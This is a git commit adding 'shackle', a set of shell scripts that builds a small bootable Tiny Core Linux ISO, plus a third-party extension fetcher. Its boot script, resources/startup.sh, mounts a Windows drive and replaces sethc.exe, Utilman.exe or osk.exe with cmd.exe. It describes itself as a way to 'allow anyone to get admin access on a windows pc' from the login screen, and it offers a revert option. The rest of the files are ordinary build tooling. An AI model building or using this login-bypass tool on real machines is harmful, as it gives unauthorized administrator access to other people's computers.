shackle but better
This commit is contained in:
commit
df9fabd9eb
9 changed files with 800 additions and 0 deletions
8
.gitignore
vendored
Normal file
8
.gitignore
vendored
Normal file
|
@ -0,0 +1,8 @@
|
|||
iso/
|
||||
resources/*.tcz
|
||||
resources/*.dep
|
||||
resources/*.md5.txt
|
||||
resources/Log.txt
|
||||
resources/info.lst
|
||||
resources/Dependency.list
|
||||
resources/squashfs-root/
|
12
README.md
Normal file
12
README.md
Normal file
|
@ -0,0 +1,12 @@
|
|||
# shackle
|
||||
a tool to build super small linux isos for quick tasks (using the sethc.exe bug as an example)
|
||||
|
||||
## building instructions
|
||||
1. download the original isos: `./fetch_isos.sh`
|
||||
2. build for your arch (ex: x86_64): `./build_x86_64.sh`
|
||||
3. output iso will be in `iso/`
|
||||
|
||||
## customization
|
||||
you can change settings in the build scripts. the most important thing you can change is extensions, probably. make sure it's a package that's in tinycore and put that in the extensions bit
|
||||
|
||||
`resources/startup.sh` is what gets executed at startup, so modify it to your liking.
|
10
build_x86.sh
Executable file
10
build_x86.sh
Executable file
|
@ -0,0 +1,10 @@
|
|||
#!/bin/bash
|
||||
|
||||
export ARCH="x86"
|
||||
export tinyCoreVer="15.x"
|
||||
export extensions="ntfs-3g util-linux"
|
||||
export origISO="Core-current.iso"
|
||||
|
||||
export TC=$tinyCoreVer
|
||||
|
||||
./resources/build_main.sh
|
10
build_x86_64.sh
Executable file
10
build_x86_64.sh
Executable file
|
@ -0,0 +1,10 @@
|
|||
#!/bin/bash
|
||||
|
||||
export ARCH="x86_64"
|
||||
export tinyCoreVer="15.x"
|
||||
export extensions="ntfs-3g util-linux"
|
||||
export origISO="CorePure64-current.iso"
|
||||
|
||||
export TC=$tinyCoreVer
|
||||
|
||||
./resources/build_main.sh
|
11
fetch_isos.sh
Executable file
11
fetch_isos.sh
Executable file
|
@ -0,0 +1,11 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# depends:
|
||||
# - wget
|
||||
|
||||
tinyCoreVer="15.x"
|
||||
|
||||
mkdir -p iso/
|
||||
cd iso/
|
||||
wget "http://www.tinycorelinux.net/$tinyCoreVer/x86_64/release/CorePure64-current.iso"
|
||||
wget "http://www.tinycorelinux.net/$tinyCoreVer/x86/release/Core-current.iso"
|
497
resources/FetchExt.sh
Executable file
497
resources/FetchExt.sh
Executable file
|
@ -0,0 +1,497 @@
|
|||
#!/bin/sh
|
||||
# Script to download an extension and its dependencies written by Richard A. Rost July 7,2019
|
||||
# Special thanks go out to GNUser for his time and effort spent testing and providing
|
||||
# helpful suggestions and feedback.
|
||||
#
|
||||
# The script downloads to the directory you are in when you start the script.
|
||||
# There are no Tinycore specific commands, variables, or directories required so it should work
|
||||
# on any Linux box.
|
||||
# Some error checking is done, though it might not be as thorough as it should be.
|
||||
# The script downloads the .tcz, .tcz.dep, and .tcz.md5.txt files for each extension.
|
||||
# MD5 is verified.
|
||||
# File ownership is changed to tc:staff.
|
||||
# A running timestamped log is kept in ./Log.txt
|
||||
# ./Dependency.list is a sorted .tree file with duplicates removed of the last extension downloaded.
|
||||
#
|
||||
# Usage:
|
||||
#
|
||||
# FetchExt.sh ExtensionName ExtensionName ExtensionName
|
||||
# Fetches the extension(s) and its dependencies. ExtensionName is
|
||||
# case sensitive. Including .tcz is optional.
|
||||
#
|
||||
# FetchExt.sh info Fetches the list of available extensions in the listed repository
|
||||
# and displays it using less in a new terminal.
|
||||
#
|
||||
#
|
||||
# --------------------------------- Change Log --------------------------------- #
|
||||
# Version None Jul 7,2019
|
||||
# Initial release.
|
||||
# Version 0.2 Apr 3.2022
|
||||
# Added version numbers.
|
||||
# You can now specify multiple extensions in one command.
|
||||
# It no longer matters whether or not you include .tcz in the extension name.
|
||||
# When multiple kernel versions of an extension exist, they all get fetched.
|
||||
# The operating system will use the correct extension and the user does
|
||||
# not need to spend time typing incorrect version strings.
|
||||
# Changed #!/bin/bash to #!/bin/sh. Not sure why it was bash, hope nothing breaks.
|
||||
# Major cleanup. Some code moved into functions. Logic changes. More comments added.
|
||||
# Replaced excess screen output with dots to indicate progress. ./Log.txt has history.
|
||||
#
|
||||
# Version 0.3 Apr 7.2022
|
||||
# Added UserID to User variables. Thank you GNUser
|
||||
# Added sudo handling. Thank you GNUser
|
||||
# Created separate function to change file ownership attributes. Thank you GNUser
|
||||
# Changed == and != to -eq and -ne for integer comparisions. Thank you GNUser
|
||||
# Added Usage message.
|
||||
#
|
||||
# Version 0.4 Apr 8.2022
|
||||
# Changed echo -e to multiple echo commands for systems that don't support -e. Thank you GNUser
|
||||
#
|
||||
# Version 0.5 Apr 9.2022
|
||||
# Added some messages at end of script to inform user of status.
|
||||
# Added UpdateLog() to write to log file and set variables when DATE or Error:
|
||||
# messages get written.
|
||||
#
|
||||
# ------------------------------------------------------------------------------ #
|
||||
#
|
||||
|
||||
# ------------------------------ Define Variables ------------------------------ #
|
||||
# User variables ***************************************************************
|
||||
|
||||
# Website to download from.
|
||||
ADDR="http://repo.tinycorelinux.net"
|
||||
|
||||
# Tinycore version. Versions always end in .x , there are no minor version digits.
|
||||
#TC="13.x"
|
||||
|
||||
# Processor architecture, current options are x86 x86_64 armv6 armv7 armv7l aarch64
|
||||
#ARCH="x86"
|
||||
|
||||
# User that should own the downloaded files. UID of the default tc user is 1001.
|
||||
# If you use the "user=somebody" boot code you may prefer UserID 1000 (but 1001 would still work).
|
||||
UserID=1000
|
||||
|
||||
# End of user variables ********************************************************
|
||||
|
||||
|
||||
# Program variables start here. Do not touch. **********************************
|
||||
|
||||
# This is the repository the extensions get downloaded from.
|
||||
URL="$ADDR/$TC/$ARCH/tcz/"
|
||||
|
||||
# This is a running log of all downloads
|
||||
Log="Log.txt"
|
||||
|
||||
# REGEX for finding kernel version strings. Set by BuildVersionsList()
|
||||
# Used by BuildVersionsList() and BuildDependencyList().
|
||||
KString=""
|
||||
|
||||
# List of all extensions in repository. Used to create a list of available
|
||||
# kernel versions.
|
||||
InfoFile="info.lst"
|
||||
|
||||
# File containing list of available kernel versions in the current repository.
|
||||
VersionsList="Versions.list"
|
||||
|
||||
# Maximum age of info.lst in seconds before it is considered to be stale and
|
||||
# needs to be redownloaded.
|
||||
MaxAge=3600
|
||||
|
||||
# Name of each extension to be processed.
|
||||
ExtName=""
|
||||
|
||||
# Processed copy of extension.tcz.tree. It has been sorted and duplicate entries
|
||||
# are removed. Kernel module entries have been updated to include all kernel
|
||||
# versions available from the current repository.
|
||||
DependencyList="Dependency.list"
|
||||
|
||||
# This is the user ID you are currently running as.
|
||||
WhoIam=`id -u`
|
||||
|
||||
# Tells ChangeOwnership() whether it needs sudo for chown command.
|
||||
UseSudo="No"
|
||||
|
||||
# Gets set if user wants to view $InfoFile or $Log
|
||||
ViewFile=""
|
||||
|
||||
# Provides feedback to the user when the script runs to completion. OK or Error.
|
||||
ExitMessage="OK"
|
||||
|
||||
# Timestamp of extension tree currently being processed.
|
||||
TimeStamp=""
|
||||
|
||||
# Timestamp of when the first error of this session shows up in Log.
|
||||
ErrorTime=""
|
||||
|
||||
# -------------------------------- End Variables ------------------------------- #
|
||||
|
||||
|
||||
# ------------------------------ Define Functions ------------------------------ #
|
||||
|
||||
BuildDependencyList()
|
||||
{
|
||||
# This uses the .tree file and the $VersionsList file to build
|
||||
# a complete dependency list of the extension being processed.
|
||||
|
||||
TmpFile="Extension.tmp"
|
||||
rm -f "$DependencyList"
|
||||
|
||||
# awk '$1=$1' removes all whitespace, sort -u sorts alphabetically and removes duplicate entries.
|
||||
awk '$1=$1' $ExtName.tree | sort -u > $TmpFile
|
||||
# Replace -kernelversion.tcz with -KERNEL.tcz
|
||||
sed -i -E 's|'$KString'|-KERNEL.tcz|g' $TmpFile
|
||||
|
||||
for E in `cat $TmpFile`
|
||||
do
|
||||
case $E in
|
||||
*-KERNEL.tcz) # Kernel module extensions are handled here.
|
||||
# Strip off -KERNEL.tcz from end of extension name.
|
||||
E=${E%\-KERNEL.tcz}
|
||||
for V in `cat $VersionsList`
|
||||
do
|
||||
# Create an entry for each kernel version listed in this repository.
|
||||
echo $E$V >> $DependencyList
|
||||
done
|
||||
;;
|
||||
*) # Regular extensions are handled here.
|
||||
echo $E >> $DependencyList
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
rm -f "$TmpFile"
|
||||
rm -f "$ExtName.tree"
|
||||
}
|
||||
|
||||
|
||||
BuildVersionsList()
|
||||
{
|
||||
# Scans the info.lst file to create a list of available kernel versions.
|
||||
# for this repository.
|
||||
|
||||
case $ARCH in
|
||||
# REGEX notes:
|
||||
# First - is escaped so it's not treated as an option by grep.
|
||||
# Wildcard needs to be preceded with a period like this: .*
|
||||
|
||||
x86*) # REGEX for finding Intel kernel strings.
|
||||
KString="\-[0-9]+.[0-9]+.[0-9]+-tinycore.*.tcz"
|
||||
;;
|
||||
armv*|aarch*) # REGEX for finding ARM kernel strings.
|
||||
KString="\-[0-9]+.[0-9]+.[0-9]+-piCore.*.tcz"
|
||||
;;
|
||||
*) echo "Invalid architecture specified."
|
||||
Cleanup 1
|
||||
;;
|
||||
esac
|
||||
|
||||
# Searches for -kernelversion.tcz and prints only the part of a line that matches -kernelversion.tcz.
|
||||
grep -oE $KString $InfoFile > Versions.tmp
|
||||
# awk '$1=$1' removes all whitespace, sort -u sorts alphabetically and removes duplicate entries.
|
||||
awk '$1=$1' Versions.tmp | sort -u > $VersionsList
|
||||
|
||||
rm -f Versions.tmp
|
||||
}
|
||||
|
||||
|
||||
ChangeOwnership()
|
||||
{
|
||||
# Change User:Group attributes of a file.
|
||||
#
|
||||
# $1 File to change.
|
||||
# $2 Optional, user ID to use in place of the default.
|
||||
#
|
||||
# Numeric values used because foreign Linux box won't have tc:staff.
|
||||
|
||||
# Default ID to use.
|
||||
UseID=$UserID
|
||||
# Test if an alternate ID was passed in.
|
||||
[ -n "$2" ] && UseID=$2
|
||||
|
||||
if [ "$UseSudo" = "Yes" ]
|
||||
then
|
||||
sudo chown $UseID:50 "$1"
|
||||
else
|
||||
chown $UseID:50 "$1"
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
CheckSudo()
|
||||
{
|
||||
# Make sure we can run without user interaction.
|
||||
if [ `id -u` -ne 0 ]
|
||||
then
|
||||
# User is not root.
|
||||
UseSudo="Yes"
|
||||
sudo -nv > /dev/null 2>&1
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
# sudo either requires a password or does not exist.
|
||||
echo "You must run $0 as root on this system."
|
||||
# This is the only time you should exit directly.
|
||||
# Use Cleanup() everywhere else.
|
||||
exit 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# Make sure the current user can modify/access these files if they exist.
|
||||
[ -f "$InfoFile" ] && ChangeOwnership "$InfoFile" "$WhoIam"
|
||||
[ -f "$Log" ] && ChangeOwnership "$Log" "$WhoIam"
|
||||
[ -f "$DependencyList" ] && ChangeOwnership "$DependencyList" "$WhoIam"
|
||||
}
|
||||
|
||||
|
||||
Cleanup()
|
||||
{
|
||||
# Every exit point except CheckSudo() should pass through here.
|
||||
# Make sure the end user ($UserID) can modify/access these files if they exist.
|
||||
[ -f "$InfoFile" ] && ChangeOwnership "$InfoFile"
|
||||
[ -f "$Log" ] && ChangeOwnership "$Log"
|
||||
[ -f "$DependencyList" ] && ChangeOwnership "$DependencyList"
|
||||
|
||||
# Remove unneeded files.
|
||||
rm -f "$VersionsList"
|
||||
|
||||
exit $1
|
||||
}
|
||||
|
||||
|
||||
FetchTreeFile()
|
||||
{
|
||||
# Remove previous copy of file if it exists so that wget doesn't create numbered backups.
|
||||
rm -f "$ExtName.tree"
|
||||
|
||||
Tree="$URL$ExtName.tree"
|
||||
wget -q "$Tree" > /dev/null 2>&1
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
wget -q --spider "$URL$ExtName" > /dev/null 2>&1 # No .tcz.tree found, check for .tcz
|
||||
if [ $? -eq 0 ]
|
||||
then # Extension exists but has no dependencies so create a tree file.
|
||||
echo "$ExtName" > "$ExtName.tree"
|
||||
else
|
||||
# Extension does not exist, log an error.
|
||||
# Update the log file with newline, timestamp, URL, extension name being processed.
|
||||
UpdateLog ""
|
||||
UpdateLog "DATE"
|
||||
UpdateLog "$URL"
|
||||
UpdateLog " Error: Processing $ExtName failed."
|
||||
# Setting this to an empty string informs the caller an error occurred.
|
||||
ExtName=""
|
||||
fi
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
RefreshInfoList()
|
||||
{
|
||||
# This downloads a fresh copy of info.lst if any of the following are true:
|
||||
# 1. The file is not in the current directory.
|
||||
# 2. The file is older than 1 hour (3600 seconds).
|
||||
# 3. This script has been modified and is newer than info.lst.
|
||||
|
||||
# Make sure info.lst exists.
|
||||
if [ -f "$InfoFile" ]
|
||||
then
|
||||
# Compute number of seconds since this script modified (edited).
|
||||
ThisScript=$(( $(date +%s) - $(date -r "$0" +%s) ))
|
||||
# Compute number of seconds since info.list modified (downloaded).
|
||||
Age=$(( $(date +%s) - $(date -r "$InfoFile" +%s) ))
|
||||
if [ $Age -lt $ThisScript ]
|
||||
then
|
||||
# info.lst is more recent than this script, no need to update.
|
||||
if [ $Age -lt $MaxAge ]
|
||||
then
|
||||
# File is recent enough to use.
|
||||
return
|
||||
fi
|
||||
fi
|
||||
# File is too old, delete it.
|
||||
rm -f "$InfoFile"
|
||||
fi
|
||||
# Fetch a fresh copy of the file.
|
||||
wget -q "$URL$InfoFile"
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
echo "Download failed for: $URL$InfoFile"
|
||||
Cleanup 1
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
UpdateLog()
|
||||
{
|
||||
Message="$1"
|
||||
|
||||
case "$Message" in
|
||||
" Error:"*)
|
||||
if [ "$ErrorTime" = "" ]
|
||||
then
|
||||
# These get set the first time an Error: message gets sent.
|
||||
# They get used at the end of the script prior to exiting.
|
||||
ErrorTime="$TimeStamp"
|
||||
ExitMessage="One or more errors occurred. See $Log after timestamp:"
|
||||
fi
|
||||
;;
|
||||
|
||||
"DATE")
|
||||
TimeStamp="`date`"
|
||||
Message="$TimeStamp"
|
||||
;;
|
||||
esac
|
||||
|
||||
echo "$Message" >> $Log
|
||||
|
||||
}
|
||||
|
||||
|
||||
Usage()
|
||||
{
|
||||
|
||||
echo " Usage:
|
||||
|
||||
$0 ExtensionName ExtensionName ExtensionName
|
||||
Fetches the extension(s) and its dependencies.
|
||||
ExtensionName is case sensitive.
|
||||
Including .tcz is optional.
|
||||
|
||||
$0 info Fetches the list of available extensions in the
|
||||
listed repository and displays it using less in
|
||||
a new terminal.
|
||||
|
||||
$0 Log Displays the Log.txt file (if it exists) using less
|
||||
in a new terminal.
|
||||
|
||||
Please see the User variables section of this script for
|
||||
setting the version and architecture you will download for."
|
||||
|
||||
Cleanup 1
|
||||
}
|
||||
|
||||
# -------------------------------- End Functions ------------------------------- #
|
||||
|
||||
|
||||
# ----------------------------- Program starts here ---------------------------- #
|
||||
|
||||
# User failed to request an extension, info or Log.
|
||||
[ $# -eq 0 ] && Usage
|
||||
|
||||
# See if user is requesting -h or --help, or wants to view info or Log.
|
||||
case "$1" in
|
||||
-*) Usage;;
|
||||
info) ViewFile="$InfoFile";;
|
||||
Log) ViewFile="$Log";;
|
||||
esac
|
||||
|
||||
# Make sure we don't need passwords for sudo.
|
||||
CheckSudo
|
||||
|
||||
# See if we need a newer copy of info.lst.
|
||||
RefreshInfoList
|
||||
|
||||
# First see if the user wants to look through $InfoFile or $Log.
|
||||
# Make sure the string is not zero length.
|
||||
if [ -n "$ViewFile" ]
|
||||
then
|
||||
# Make sure the file exists.
|
||||
if [ -f "$ViewFile" ]
|
||||
then # Display the $ViewFile in a terminal using the less command.
|
||||
xterm +tr +sb -T "$ViewFile" -e less "$ViewFile" &
|
||||
Cleanup 0
|
||||
else
|
||||
echo "$ViewFile not found."
|
||||
Cleanup 1
|
||||
fi
|
||||
fi
|
||||
|
||||
# Create list of available kernel versions in the current repository.
|
||||
BuildVersionsList
|
||||
|
||||
# Process extensions requested one at a time.
|
||||
for ExtName in $@
|
||||
do
|
||||
# Sanitize ExtName so we can accept extension or extension.tcz for input.
|
||||
# Inside the braces removes .tcz if it exists. The .tcz at the end appends .tcz.
|
||||
ExtName="${ExtName%.tcz}.tcz"
|
||||
|
||||
FetchTreeFile
|
||||
# If an error occurred, we continue by skipping this extension.
|
||||
if [ -z "$ExtName" ]
|
||||
then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Process the .tree file and the $VersionsList file to build
|
||||
# a complete dependency list.
|
||||
BuildDependencyList
|
||||
|
||||
# Update the log file with newline, timestamp, URL, extension name being processed.
|
||||
UpdateLog ""
|
||||
UpdateLog "DATE"
|
||||
UpdateLog "$URL"
|
||||
UpdateLog "Processing $ExtName"
|
||||
|
||||
# Download the extension and all of its dependencies.
|
||||
for Entry in `cat $DependencyList`
|
||||
do
|
||||
# Visual feedback so user knows something is happening.
|
||||
echo -n "."
|
||||
|
||||
# See if extension already exists.
|
||||
if [ -f "$Entry" ]
|
||||
then
|
||||
UpdateLog "$Entry already downloaded."
|
||||
continue
|
||||
fi
|
||||
|
||||
# Fetch extension.
|
||||
wget -q "$URL$Entry" > /dev/null 2>&1
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
UpdateLog " Error: $Entry download failed."
|
||||
else
|
||||
UpdateLog "$Entry downloaded."
|
||||
ChangeOwnership "$Entry"
|
||||
fi
|
||||
|
||||
# Fetch dependency file if one exists.
|
||||
wget -q "$URL$Entry.dep" > /dev/null 2>&1
|
||||
if [ $? -eq 0 ]
|
||||
then
|
||||
UpdateLog "$Entry.dep downloaded."
|
||||
ChangeOwnership "$Entry.dep"
|
||||
fi
|
||||
|
||||
# Fetch MD5.
|
||||
wget -q "$URL$Entry.md5.txt" > /dev/null 2>&1
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
UpdateLog " Error: $Entry.md5.txt download failed."
|
||||
# No point in verifying the MD5.
|
||||
continue
|
||||
else
|
||||
UpdateLog "$Entry.md5.txt downloaded."
|
||||
ChangeOwnership "$Entry.md5.txt"
|
||||
fi
|
||||
|
||||
# Verify MD5.
|
||||
md5sum -c "$Entry.md5.txt" > /dev/null 2>&1
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
UpdateLog " Error: $Entry md5 checksum failed."
|
||||
fi
|
||||
|
||||
done
|
||||
|
||||
done
|
||||
|
||||
echo "."
|
||||
|
||||
# ExitMessage contains either OK or an error message. If it contains
|
||||
# an error message, ErrorTime will be set to the time of the first error.
|
||||
echo "$ExitMessage"
|
||||
[ -n "$ErrorTime" ] && echo "$ErrorTime"
|
||||
echo
|
||||
|
||||
Cleanup 0
|
87
resources/build_main.sh
Executable file
87
resources/build_main.sh
Executable file
|
@ -0,0 +1,87 @@
|
|||
#!/bin/bash
|
||||
#
|
||||
# depends:
|
||||
# - cdrtools (for mkisofs)
|
||||
# - syslinux (for isohybrid)
|
||||
# - p7zip (extracting the iso)
|
||||
# - cpio (for creating the cpio file)
|
||||
# - squashfs-tools (for extracting the tcz files)
|
||||
|
||||
if [ "$ARCH" == "x86_64" ]; then
|
||||
export gz_file="corepure64"
|
||||
sed -i 's/vmlinuz/vmlinuz64/g' resources/isolinux.cfg
|
||||
sed -i 's/core.gz/corepure64.gz/g' resources/isolinux.cfg
|
||||
else
|
||||
export gz_file="core"
|
||||
fi
|
||||
|
||||
# take use of timeout
|
||||
sudo true
|
||||
|
||||
# extract our iso
|
||||
printf "extracting $origISO..."
|
||||
7z x iso/$origISO -oisoext > /dev/null
|
||||
echo "done"
|
||||
|
||||
# get extensions
|
||||
printf "downloading extensions..."
|
||||
cd resources
|
||||
sudo -E ./FetchExt.sh $extensions > /dev/null
|
||||
cd ..
|
||||
echo "done"
|
||||
|
||||
# extract $gz_file.gz
|
||||
printf "extracting $gz_file.gz..."
|
||||
mv isoext/boot/$gz_file.gz .
|
||||
mkdir coreext
|
||||
cd coreext
|
||||
zcat ../$gz_file.gz | sudo cpio -i -H newc -d --quiet
|
||||
cd ..
|
||||
echo "done"
|
||||
|
||||
# extract extensions
|
||||
printf "extracting extensions..."
|
||||
cd resources
|
||||
for tcztoext in *.tcz; do
|
||||
unsquashfs -q -n -f $tcztoext
|
||||
done
|
||||
echo "done"
|
||||
|
||||
# inject extensions to core and inject a script to run at login
|
||||
printf "injecting extensions and login script..."
|
||||
sudo cp -r squashfs-root/* ../coreext/
|
||||
cd ../coreext/
|
||||
sudo cp ../resources/startup.sh etc/profile.d/startup.sh
|
||||
echo "done"
|
||||
|
||||
# compile new core.gz
|
||||
printf "creating new $gz_file.gz..."
|
||||
sudo rm ../$gz_file.gz
|
||||
sudo find | sudo cpio -o -H newc --quiet | gzip -11 > ../$gz_file.gz
|
||||
cd ../isoext/
|
||||
sudo mv ../$gz_file.gz boot/$gz_file.gz
|
||||
cd ..
|
||||
echo "done"
|
||||
|
||||
# remove boot menu and force directly booting
|
||||
printf "removing boot menu..."
|
||||
rm isoext/boot/isolinux/boot.msg isoext/boot/isolinux/f2 isoext/boot/isolinux/f3 isoext/boot/isolinux/f4
|
||||
cp resources/isolinux.cfg isoext/boot/isolinux/isolinux.cfg
|
||||
echo "done"
|
||||
|
||||
# make our new iso
|
||||
printf "creating iso..."
|
||||
mkisofs -l -J -R -V shackle -quiet -no-emul-boot -boot-load-size 4 -boot-info-table -b boot/isolinux/isolinux.bin -c boot/isolinux/boot.cat -o iso/shackle_$ARCH.iso isoext
|
||||
isohybrid -o 64 iso/shackle_$ARCH.iso
|
||||
echo "done"
|
||||
|
||||
# clean up
|
||||
cd resources/
|
||||
rm -r *.tcz *.dep *.md5.txt Log.txt info.lst Dependency.list squashfs-root/
|
||||
cd ..
|
||||
sudo rm -r isoext/ coreext/
|
||||
|
||||
if [ "$ARCH" == "x86_64" ]; then
|
||||
sed -i 's/vmlinuz64/vmlinuz/g' resources/isolinux.cfg
|
||||
sed -i 's/corepure64.gz/core.gz/g' resources/isolinux.cfg
|
||||
fi
|
6
resources/isolinux.cfg
Normal file
6
resources/isolinux.cfg
Normal file
|
@ -0,0 +1,6 @@
|
|||
default microcore
|
||||
label microcore
|
||||
kernel /boot/vmlinuz
|
||||
initrd /boot/core.gz
|
||||
append loglevel=3
|
||||
prompt 0
|
159
resources/startup.sh
Executable file
159
resources/startup.sh
Executable file
|
@ -0,0 +1,159 @@
|
|||
inject() {
|
||||
clear
|
||||
printf "what exe should be replaced?\n(1) sethc.exe\n(2) utilman.exe\n(3) osk.exe\n(4) go back\n"
|
||||
read -p "> " option
|
||||
|
||||
if [[ "$option" == "1" ]]; then
|
||||
exe="sethc"
|
||||
elif [[ $option == "2" ]]; then
|
||||
exe="Utilman"
|
||||
elif [[ $option == "3" ]]; then
|
||||
exe="osk"
|
||||
elif [[ $option == "4" ]]; then
|
||||
return
|
||||
else
|
||||
echo "invalid option. returning..."
|
||||
sleep 2
|
||||
return
|
||||
fi
|
||||
|
||||
clear
|
||||
echo "!!!!!IMPORTANT!!!!!"
|
||||
echo "write out the drive that you want to inject shackle into (ex: /dev/sda1)"
|
||||
echo "if you fuck this up then its not my fault."
|
||||
echo "here's a list of drives. pick the right one!"
|
||||
echo "-----------"
|
||||
lsblk --noheadings --list --paths --output name,size -I 8
|
||||
echo "-----------"
|
||||
read -p "> " drive
|
||||
|
||||
#if [[ "$drives" =~ "$drive" ]]; then
|
||||
# echo "this drive does not exist or is not a windows drive. returning..."
|
||||
# sleep 2
|
||||
# return
|
||||
#fi
|
||||
|
||||
clear
|
||||
echo "mounting..."
|
||||
mkdir /mnt/win
|
||||
sudo ntfs-3g $drive /mnt/win
|
||||
|
||||
if [ -f /mnt/win/Windows/System32/$exe\_o.exe ]; then
|
||||
echo "file already exists! returning..."
|
||||
sudo umount /mnt/win
|
||||
sudo rm -r /mnt/win
|
||||
sleep 2
|
||||
return
|
||||
fi
|
||||
|
||||
if [ ! -e /mnt/win/Windows/System32/cmd.exe ]; then
|
||||
echo "cmd does not exist! returning..."
|
||||
sudo umount /mnt/win
|
||||
sudo rm -r /mnt/win
|
||||
sleep 2
|
||||
return
|
||||
fi
|
||||
|
||||
echo "injecting..."
|
||||
sudo cp /mnt/win/Windows/System32/$exe.exe /mnt/win/Windows/System32/$exe\_o.exe
|
||||
sudo cp /mnt/win/Windows/System32/cmd.exe /mnt/win/Windows/System32/$exe.exe
|
||||
|
||||
echo "unmounting..."
|
||||
sudo umount /mnt/win
|
||||
sudo rm -r /mnt/win
|
||||
|
||||
echo "done! returning..."
|
||||
sleep 2
|
||||
return
|
||||
}
|
||||
|
||||
revert() {
|
||||
clear
|
||||
printf "what exe should be reverted?\n(1) sethc.exe\n(2) utilman.exe\n(3) osk.exe\n(4) go back\n"
|
||||
read -p "> " option
|
||||
|
||||
if [[ "$option" == "1" ]]; then
|
||||
exe="sethc"
|
||||
elif [[ $option == "2" ]]; then
|
||||
exe="Utilman"
|
||||
elif [[ $option == "3" ]]; then
|
||||
exe="osk"
|
||||
elif [[ $option == "4" ]]; then
|
||||
return
|
||||
else
|
||||
echo "invalid option. returning..."
|
||||
sleep 2
|
||||
return
|
||||
fi
|
||||
|
||||
clear
|
||||
echo "!!!!!IMPORTANT!!!!!"
|
||||
echo "write out the drive that you want to remove shackle from (ex: /dev/sda1)"
|
||||
echo "if you fuck this up then its not my fault."
|
||||
echo "here's a list of drives. pick the right one!"
|
||||
echo "-----------"
|
||||
lsblk --noheadings --list --paths --output name,size -I 8
|
||||
echo "-----------"
|
||||
read -p "> " drive
|
||||
|
||||
#if [[ "$drives" =~ "$drive" ]]; then
|
||||
# echo "this drive does not exist or is not a windows drive. returning..."
|
||||
# sleep 2
|
||||
# return
|
||||
#fi
|
||||
|
||||
clear
|
||||
echo "mounting..."
|
||||
mkdir /mnt/win
|
||||
sudo ntfs-3g $drive /mnt/win
|
||||
|
||||
if [ ! -e /mnt/win/Windows/System32/$exe\_o.exe ]; then
|
||||
echo "file doesn't exist! returning..."
|
||||
sudo umount /mnt/win
|
||||
sudo rm -r /mnt/win
|
||||
sleep 2
|
||||
return
|
||||
fi
|
||||
|
||||
echo "reverting..."
|
||||
sudo mv /mnt/win/Windows/System32/$exe\_o.exe /mnt/win/Windows/System32/$exe.exe
|
||||
|
||||
echo "umounting..."
|
||||
sudo umount /mnt/win
|
||||
sudo rm -r /mnt/win
|
||||
|
||||
echo "done! returning..."
|
||||
sleep 2
|
||||
return
|
||||
}
|
||||
|
||||
about() {
|
||||
echo "this is a build of linux that is intended to replace an exe that is accessible from the"
|
||||
echo "login screen in order to allow anyone to get admin access on a windows pc."
|
||||
echo "here are all of the exe's that can be replaces:"
|
||||
echo "- sethc.exe (sticky keys)"
|
||||
echo "- utilman.exe (ease of access)"
|
||||
echo "- osk.exe (on screen keyboard)"
|
||||
echo "press enter to return!"
|
||||
read
|
||||
return
|
||||
}
|
||||
|
||||
while true; do
|
||||
clear
|
||||
printf "welcome to shackle! :)\n(1) inject\n(2) revert\n(3) shell\n(4) about\n(5) exit\n"
|
||||
read -p "> " option
|
||||
case "$option" in
|
||||
1) inject ;;
|
||||
2) revert ;;
|
||||
3) ash ;;
|
||||
4) about ;;
|
||||
5) break ;;
|
||||
*) echo "invalid option" ;;
|
||||
esac
|
||||
printf "\n"
|
||||
done
|
||||
|
||||
echo "rebooting..."
|
||||
reboot
|
||||
exit
|
Loading…
Add table
Reference in a new issue